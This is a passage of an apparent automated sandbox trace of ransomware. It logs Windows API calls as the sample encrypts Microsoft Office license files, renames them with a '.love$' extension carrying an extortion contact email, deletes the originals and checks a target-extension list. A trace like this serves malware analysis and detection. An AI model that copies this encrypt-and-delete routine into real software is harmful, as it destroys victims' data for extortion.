office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0274.273] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.273] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0274.274] GetLastError () returned 0x0 [0274.274] ReadFile (in: hFile=0x42c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d68, lpOverlapped=0x0) returned 1 [0274.498] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d70, lpOverlapped=0x0) returned 1 [0274.500] ReadFile (in: hFile=0x42c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0274.500] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x116, lpOverlapped=0x0) returned 1 [0274.500] SetEndOfFile (hFile=0x574) returned 1 [0274.871] CloseHandle (hObject=0x574) returned 1 [0274.896] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.896] SetEndOfFile (hFile=0x42c) returned 1 [0274.900] CloseHandle (hObject=0x42c) returned 1 [0274.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 1 [0275.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.241] lstrlenW (lpString=".doc") returned 4 [0275.241] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.242] lstrlenW (lpString=".docx") returned 5 [0275.242] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.242] lstrlenW (lpString=".pdf") returned 4 [0275.242] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.242] lstrlenW (lpString=".xls") returned 4 [0275.242] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.242] lstrlenW (lpString=".xlsx") returned 5 [0275.242] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.242] lstrlenW (lpString=".ppt") returned 4 [0275.242] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.242] lstrlenW (lpString=".zip") returned 4 [0275.242] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.242] lstrlenW (lpString=".rar") returned 4 [0275.248] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.253] lstrlenW (lpString=".bz2") returned 4 [0275.253] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.253] lstrlenW (lpString=".7z") returned 3 [0275.253] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.253] lstrlenW (lpString=".dbf") returned 4 [0275.253] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.253] lstrlenW (lpString=".1cd") returned 4 [0275.253] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.253] lstrlenW (lpString=".jpg") returned 4 [0275.254] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.254] lstrlenW (lpString=".doc") returned 4 [0275.254] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.254] lstrlenW (lpString=".docx") returned 5 [0275.261] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.274] lstrlenW (lpString=".pdf") returned 4 [0275.274] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.274] lstrlenW (lpString=".xls") returned 4 [0275.274] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.274] lstrlenW (lpString=".xlsx") returned 5 [0275.274] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.274] lstrlenW (lpString=".ppt") returned 4 [0275.274] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.274] lstrlenW (lpString=".zip") returned 4 [0275.274] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.274] lstrlenW (lpString=".rar") returned 4 [0275.274] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.274] lstrlenW (lpString=".bz2") returned 4 [0275.274] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.274] lstrlenW (lpString=".7z") returned 3 [0275.274] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.275] lstrlenW (lpString=".dbf") returned 4 [0275.275] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.275] lstrlenW (lpString=".1cd") returned 4 [0275.275] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83 [0275.275] lstrlenW (lpString=".jpg") returned 4 [0275.275] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.275] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.275] lstrlenW (lpString="O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 41 [0275.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0275.276] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11651) returned 1 [0275.277] CloseHandle (hObject=0x4b0) returned 1 [0275.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 0x220 [0275.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0275.278] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.278] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0275.279] GetLastError () returned 0x0 [0275.279] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d83, lpOverlapped=0x0) returned 1 [0275.282] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d90, lpOverlapped=0x0) returned 1 [0275.283] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0275.283] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x126, lpOverlapped=0x0) returned 1 [0275.283] SetEndOfFile (hFile=0x304) returned 1 [0275.283] CloseHandle (hObject=0x304) returned 1 [0275.284] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.284] SetEndOfFile (hFile=0x4b0) returned 1 [0275.292] CloseHandle (hObject=0x4b0) returned 1 [0275.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 1 [0275.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.294] lstrlenW (lpString=".doc") returned 4 [0275.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.294] lstrlenW (lpString=".docx") returned 5 [0275.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.294] lstrlenW (lpString=".pdf") returned 4 [0275.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString=".xls") returned 4 [0275.295] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString=".xlsx") returned 5 [0275.295] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.295] lstrlenW (lpString=".ppt") returned 4 [0275.295] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.295] lstrlenW (lpString=".zip") returned 4 [0275.295] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString=".rar") returned 4 [0275.295] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString=".bz2") returned 4 [0275.295] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString=".7z") returned 3 [0275.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.295] lstrlenW (lpString=".dbf") returned 4 [0275.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.295] lstrlenW (lpString=".1cd") returned 4 [0275.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.295] lstrlenW (lpString=".jpg") returned 4 [0275.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.295] lstrlenW (lpString=".doc") returned 4 [0275.295] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.295] lstrlenW (lpString=".docx") returned 5 [0275.296] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.296] lstrlenW (lpString=".pdf") returned 4 [0275.296] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.296] lstrlenW (lpString=".xls") returned 4 [0275.296] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.296] lstrlenW (lpString=".xlsx") returned 5 [0275.296] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.296] lstrlenW (lpString=".ppt") returned 4 [0275.296] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.296] lstrlenW (lpString=".zip") returned 4 [0275.296] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.296] lstrlenW (lpString=".rar") returned 4 [0275.296] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.296] lstrlenW (lpString=".bz2") returned 4 [0275.296] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.296] lstrlenW (lpString=".7z") returned 3 [0275.296] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.296] lstrlenW (lpString=".dbf") returned 4 [0275.296] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.296] lstrlenW (lpString=".1cd") returned 4 [0275.296] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0275.296] lstrlenW (lpString=".jpg") returned 4 [0275.296] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.296] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.297] lstrlenW (lpString="O365HomePremR_Subscription4-pl.xrm-ms") returned 37 [0275.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0275.298] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11199) returned 1 [0275.298] CloseHandle (hObject=0x4b0) returned 1 [0275.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 0x220 [0275.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0275.298] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.299] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0275.300] GetLastError () returned 0x0 [0275.300] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0275.302] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0275.303] ReadFile (in: hFile=0x4b0, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0275.303] WriteFile (in: hFile=0x304, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11e, lpOverlapped=0x0) returned 1 [0275.303] SetEndOfFile (hFile=0x304) returned 1 [0275.303] CloseHandle (hObject=0x304) returned 1 [0275.303] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0275.304] SetEndOfFile (hFile=0x4b0) returned 1 [0275.615] CloseHandle (hObject=0x4b0) returned 1 [0275.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 1 [0275.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.618] lstrlenW (lpString=".doc") returned 4 [0275.618] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.618] lstrlenW (lpString=".docx") returned 5 [0275.618] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.618] lstrlenW (lpString=".pdf") returned 4 [0275.618] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.618] lstrlenW (lpString=".xls") returned 4 [0275.618] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.618] lstrlenW (lpString=".xlsx") returned 5 [0275.618] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.618] lstrlenW (lpString=".ppt") returned 4 [0275.618] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.618] lstrlenW (lpString=".zip") returned 4 [0275.618] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.618] lstrlenW (lpString=".rar") returned 4 [0275.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.618] lstrlenW (lpString=".bz2") returned 4 [0275.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.618] lstrlenW (lpString=".7z") returned 3 [0275.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.619] lstrlenW (lpString=".dbf") returned 4 [0275.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.619] lstrlenW (lpString=".1cd") returned 4 [0275.619] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.619] lstrlenW (lpString=".jpg") returned 4 [0275.619] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.619] lstrlenW (lpString=".doc") returned 4 [0275.619] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString=".docx") returned 5 [0275.619] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.619] lstrlenW (lpString=".pdf") returned 4 [0275.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString=".xls") returned 4 [0275.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString=".xlsx") returned 5 [0275.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.619] lstrlenW (lpString=".ppt") returned 4 [0275.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.619] lstrlenW (lpString=".zip") returned 4 [0275.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString=".rar") returned 4 [0275.619] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.619] lstrlenW (lpString=".bz2") returned 4 [0275.620] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.620] lstrlenW (lpString=".7z") returned 3 [0275.620] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.620] lstrlenW (lpString=".dbf") returned 4 [0275.620] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.620] lstrlenW (lpString=".1cd") returned 4 [0275.620] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0275.620] lstrlenW (lpString=".jpg") returned 4 [0275.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.620] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.620] lstrlenW (lpString="O365HomePremR_SubTest2-pl.xrm-ms") returned 32 [0275.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0275.622] GetFileSizeEx (in: hFile=0x4b0, 